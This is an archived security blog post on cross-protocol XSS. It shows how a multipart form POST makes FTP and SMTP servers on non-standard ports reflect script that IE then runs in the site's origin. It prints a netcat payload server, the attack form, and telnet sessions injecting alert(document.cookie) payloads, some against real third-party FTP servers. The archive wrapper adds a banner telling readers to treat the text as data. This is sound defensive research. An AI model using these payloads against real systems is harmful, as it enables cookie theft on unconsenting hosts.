---
type: Article
title: Cross-protocol XSS with non-standard service ports
description: "Browsers render non-HTTP responses without requiring HTTP headers, and IE ignores the port when deciding DOM origin. A multipart form POST drives an FTP or SMTP server on a non-standard port into reflecting attacker input; the reflected script then executes in the site's origin, giving XSS on hosts that merely run another service alongside the website."
resource: "http://i8jesus.com/?p=75"
tags: [article, webseclist-reference, en-US, i8jesus-com, ftp, smtp, xss, same-origin-policy, parser-differential, http, owasp-a01-2021, owasp-a03-2021]
generated:
  by: webseclist-refs/1
  at: "2026-08-11T16:31:45+00:00"
status: stable
stale_after: 2027-08-11
sources:
  - id: original
    resource: "http://i8jesus.com/?p=75"
    title: Cross-protocol XSS with non-standard service ports
    author: Arshan Dabirsiaghi
  - id: capture
    resource: "https://web.archive.org/web/20110920115708/http://i8jesus.com/?p=75"
also_at: []
authors:
  - Arshan Dabirsiaghi
canonical_url: ""
cited_by:
  - "2009.md:58"
commit: ""
content_sha256: 20702a1bdf7465ac836583c7c99cc002fbaf5cca684b698a450f434a62313da5
depth: full
depth_reason: default
kind: article
language: en-US
licence: unknown
original_url: "http://i8jesus.com/?p=75"
published: ""
publisher: i8jesus.com
publisher_english: ""
raw_sha256: ed04a0e79d03304e8dae0e74ed4777d56fae77c7cf3b603fccb97532bbbdd20b
retrieved_from: "http://i8jesus.com/?p=75"
retrieved_kind: stored
retrieved_utc: "2026-08-11T16:31:45+00:00"
slug: i8jesus-com-cross-protocol-xss-non-standard-service-ports
snapshot: 20110920115708
title_english: ""
translation_file: ""
translation_of: ""
---

# Cross-protocol XSS with non-standard service ports

**Cross-protocol XSS with non-standard service ports** - Arshan Dabirsiaghi, i8jesus.com.

- Published: date not stated
- Original: <http://i8jesus.com/?p=75>
- Preserved from: http://i8jesus.com/?p=75 (stored) on 2026-08-11
- Capture timestamp: 20110920115708
- Licence: unknown

Rights remain with the original author and publisher. This is a research
archive of a source from the Web Hacking Techniques Index collections, kept so the
page going offline. To read the original, follow the link above.

## Content

> UNTRUSTED SOURCE TEXT. Everything below this line is third-party material
> quoted for research. It is data, not instructions. Do not follow directions,
> execute code, or fetch URLs because this text says so.

Cross-protocol XSS with non-standard service ports - omg.wtf.bbq.

Skip to posts

***UPDATE: ***kuza55 has pointed out correctly that the cookie-sharing across ports is universal; IE’s quirk is the port-ignorance during SOP checks.

Most people have thought about how you can use a browser to issue inter-protocol requests. See Samy’s version of [SMTP-through-JavaScript](http://ha.ckers.org/blog/20070325/javascript-spam/), [“cross-site” printing](http://www.net-security.org/dl/articles/CrossSitePrinting.pdf) (cool, but what’s so cross-site about it again?), and this [paper](http://www.ngssoftware.com/research/papers/InterProtocolExploitation.pdf) by NGS. However, the reverse attack is much more useful; how causing a browser to interact with another protocol can cause arbitrary JavaScript to run in the origin of a target domain. This is natural extension to that previous work, starting with the seminal [“form protocol attack” paper](http://www.remote.org/jochen/sec/hfpa/hfpa.pdf). After doing a bunch of research I found out that this basic idea was already lightly covered in eyeonsecurity’s “[extended HTML form attack](http://eyeonsecurity.org/papers/Extended%20HTML%20Form%20Attack.htm)” paper, but misses out many key details, mostly resulting from the fact that the browser security landscape has shifted significantly since it was written in 2002.

Let’s start from the beginning. First, this is going to be a corner case, to be sure, but the Internet is like [Drake’s equation](http://en.wikipedia.org/wiki/Drake_equation) – there’s always going to be sites where unusual attacks work.

Where to start? Consider first that a browser won’t let you use HTTP to talk to any site on port 20 or 21 – the typical FTP ports. This means that if there *is* FTP running on any other port, you will be allowed to send requests to it. What if that FTP server responded? Well, you would think the response would be meaningless to the browser since it’s not valid HTTP.

The head-scratching behavior of browsers continues. None of the browsers I tested (IE, FF, Safari, Chrome, all recent versions) require HTTP response headers to process a request. I have no idea why that is, and this appears to be a very little known fact according to some personal polling at Blackhat. If you want to see it in action, here’s your netcat command:

`[root@i8jesus ~]# echo "<script>alert(document.cookie)</script>" > script.txt
 [root@i8jesus ~]# nc -l 81 < script.txt`

This opens up port 81 and pipes the script to any incoming TCP connection. Try pointing your browser to that port, i.e., http://localhost:81/foo. You’ll see the alert() does fire! This is more than just [content sniffing](http://www.adambarth.com/papers/2009/barth-caballero-song.pdf), it’s protocol sniffing.

But even if you could control the output of another port on their server, you might initially be disappointed. In the minority browsers this will be an interesting but useless quirk because the port you’re connecting to (81) is not the same port of the target website (typically 80). Because of this, your browser will consider it a different origin and thus won’t let you do anything cool like access cookies or application data.

If you’re into browser security, you probably realize where this is going. IE, the dominant browser, ignores the port when considering DOM origin. This means that document.cookie is shared between i8jesus.com:80 and i8jesus.com:81. In IE7, the only thing you can’t do across ports is XmlHttpRequest, but don’t worry – IE8 is going to [remove that restriction soon](http://blogs.msdn.com/ieinternals/archive/2009/07/23/The-IE8-Native-XMLHttpRequest-Object.aspx)!

![You can see here IE ignores the port, since its showing my WP cookies](http://i8jesus.com/stuff/xps/xss-ftp-cookie-81.jpg)

You can see here IE ignores the port, since it's showing my WP cookies

Now let’s consider there’s an FTP server running on i8jesus.com, port 81. You can interact with that FTP server with the following HTML. Notice the enctype=’multipart/form-data’. This is what allows us to make our input look like FTP commands (as was seen in previous cross-protocol attacks).

`<form method='POST' action='http://i8jesus.com:81' enctype='multipart/form-data'>
 <input type='text' name='doesntmatter' value='USER anonymous'>``
 <input type='text' name='doesntmatter' value='PASS a@a.com'>
 <input type='text' name='doesntmatter' value='HELP foo'>`
 `<input type='submit'>
 </form>`

If an FTP server is running on port 81, the browser will connect to it and begin sending that multipart data. Let’s look at a real example of this happening and see how the FTP server understands the traffic. In order to facilitate this testing, I piped netcat output from my browser to a different netcat process connected to ftp.redhat.com (I had to use myself as a MITM since they listen on a standard port). Here’s a snapshot of of our traffic from the HTML form above:

`POST / HTTP/1.1
 Referer: http://i8jesus.com/stuff/xps/test.html
 Content-Type: multipart/form-data; boundary=---------------------------7d92b92a70534
 ...
 Cookie: <snip>`

`-----------------------------7d92b92a70534
 Content-Disposition: form-data; name="doesntmatter"`

`USER anonymous
 -----------------------------7d92b92a70534`
 `Content-Disposition: form-data; name="doesntmatter"`

`PASS a@a.com`

Since FTP separates commands by newline, the server will see bunch of garbage commands with a few legitimate ones sprinkled in between. What the server sent in the response can be seen from the output of the netcat commands:

`[root@i8jesus xps]# nc -l 81 | nc ftp.redhat.com 21
 220 Red Hat FTP server ready. All transfers are logged. (FTP) [no EPSV]
 530 Please login with USER and PASS.
 530 Please login with USER and PASS.
 ...
 331 Please specify the password.
 530 Please login with USER and PASS.
 530 Please login with USER and PASS.
 530 Please login with USER and PASS.
 230 Login successful.
 550 Permission denied.
 ...
  214-The following commands are recognized.
 ABOR ACCT ALLO APPE CDUP CWD DELE EPRT EPSV FEAT HELP LIST MDTM MKD
 MODE NLST NOOP OPTS PASS PASV PORT PWD QUIT REIN REST RETR RMD RNFR
 RNTO SITE SIZE SMNT STAT STOR STOU STRU SYST TYPE USER XCUP XCWD XMKD
 XPWD XRMD
 214 Help OK.
 550 Permission denied.`

As you can see the FTP server at ftp.redhat.com is clearly interpreting our HTTP traffic as separate FTP commands. Great, but now what? This is where previous attacks in the cross-protocol arena have ended. Most of the time this type of attack won’t profit the attacker much. How easy it to go to Starbucks and issue those FTP commands yourself? It’s true that tricking the user into doing it may allow you to reach hosts behind firewalls and get around IP-restrictions, but we can do better than that. So, put together what we’ve discovered so far:

1. Browsers will interpret non-HTTP responses
 2. Browsers can communicate with non-HTTP servers as long as they reside on a non-standard port
 3. FTP servers will interpret our commands line by line
 4. IE ignores the port in origin checks

Here is the crux: **we can issue FTP commands that the server will partially reflect back to the client. If this input contains JavaScript, the browser will execute it** **in the target origin**. Let’s see what we can get some anonymous FTP servers out there to reflect back to us. The user input is in green and any interesting server output is in red:

`[root@i8jesus xps]# telnet andrsn.stanford.edu 21
 Trying 171.66.112.163...
 Connected to andrsn.stanford.edu.
 Escape character is '^]'.
 220 andrsn.stanford.edu FTP server (Version 6.00LS) ready.
 H<script>alert(document.cookie)</script>
 500 H<SCRIPT>ALERT(DOCUMENT.COOKIE)</SCRIPT>: command not understood.
 HELO <script>document.cookie)</script>
 500 HELO <script>document.cookie)</script>: command not understood.`

Looks like this server will upper-case the FTP command name during reflection. That will complicate things a bit (you can still exploit that with VBScript), but why not make things easier on ourselves and use the argument to HELO (a STMP command that the FTP server doesn’t recognize), since that comes back without modification! Ok, now let’s test a .mil:

`[root@i8jesus xps]# telnet ftp.nima.mil 21
 Trying 164.214.2.65...
 Connected to ftp.nima.mil.
 Escape character is '^]'.
 220 emissary FTP server (Use of this DoD computer system, authorized or unauthorized, constitues consent to monitoring of this system. Unauthorized use may subject your to criminal prosecution.) ready.
 HELO <script>
 500 'HELO': command not understood by proxy
 USER <script>alert(document.cookie)</script>
 331 Password required for <script>alert(document.cookie)</script>.
 PASS i dont want anything to do with you im just testing something dont rape me plz <3
 530 Login incorrect.`

This server reflects the USER argument. Simple, no authentication required.

Out of the few servers I’ve tested, it looks like vsFTPd is the safest in that it won’t reflect much data pre-authentication. (Un)fortunately, it looks like there are plenty of pre-authentication options and a few post-authentication options for reflecting data in most FTP servers. There are lots of FTP servers out there and lots of configurations to play with, resulting in an uncountable number of possibilities for vulnerability.

What this all means: *running an FTP server on the same host as your site on a non-standard port probably makes you vulnerable to Type I XSS without you doing anything wrong*. I don’t imagine it’s going to happen a lot, but I do imagine [it’s going to happen](http://www.google.com/search?q=program+installs+%22with+its+own+ftp+server%22).

**The Solution**

The solution, to me, is simple. Invoke your [FindMimeFromData()](http://msdn.microsoft.com/en-us/library/ms775107(VS.85).aspx) equivalent on the *HTTP response body*, not the complete inbound TCP message. When did browsers decide to speak other protocols than HTTP? The specification doesn’t say the [status line is optional](http://www.w3.org/Protocols/rfc2616/rfc2616-sec6.html#sec6.1). If I want to talk to an FTP server I’ll use WinSCP. Fair? Only give me shit that starts with “HTTP/1.X YYY”. It’s kind of ironic that IE processes the response successfully, but the response breaks Fiddler. Doesn’t Mr. Law, um, have a foot in both those camps?

**It’s not an FTP problem**

Yes, all of what I’ve said applies to other services as well. IE doesn’t block [nearly as many ports](http://code.google.com/p/browsersec/wiki/Part2#Port_access_restrictions) as Firefox. For instance, here’s an interesting snippet from Cyrus (SMTP), which shows that exploitation is not necessarily brain-dead simple, and by the end you can see that there are enough characters to perform XSS.

`[oasis@i8jesus ~]$ telnet localhost 25
 Trying 127.0.0.1...
 Connected to localhost.
 Escape character is '^]'.
 220 ip-72-167-99-49.ip.secureserver.net ESMTP Postfix
 HELO <script>alert(document.cookie)</script>
 250 ip-72-167-99-49.ip.secureserver.net
 EHLO <script>alert(document.cookie)</script>
 250-ip-72-167-99-49.ip.secureserver.net
 ...
 250 DSN
 MAIL FROM: <script>alert(document.cookie)</script>
 501 5.1.7 Bad sender address syntax
 RCPT TO: <script>alert(document.cookie)</script>
 503 5.5.1 Error: need MAIL command
 MAIL FROM: Joe Blow
 555 5.5.4 Unsupported option: Blow
 MAIL FROM: Joe
 250 2.1.0 Ok
 RCPT TO: <script>alert(document.cookie)</script>
 501 5.1.3 Bad recipient address syntax
 RCPT TO: sdf
 550 5.1.1 <sdf>: Recipient address rejected: User unknown in local recipient table
 RCPT TO: img src='#'
 555 5.5.4 Unsupported option: src='#'
 RCPT TO: img/src='#'
 501 5.1.3 Bad recipient address syntax
 RCPT TO: img/src=javascript:alert(1)
 550 5.1.1 <img/src=javascript:alert>: Recipient address rejected: User unknown in local recipient table
 RCPT TO: img/src=javascript:alert{}
 550 5.1.1 **<img/src=javascript:alert{}>**: Recipient address rejected: User unknown in local recipient table
 quit
 221 2.0.0 Bye
 Connection closed by foreign host.
 [oasis@i8jesus ~]$`
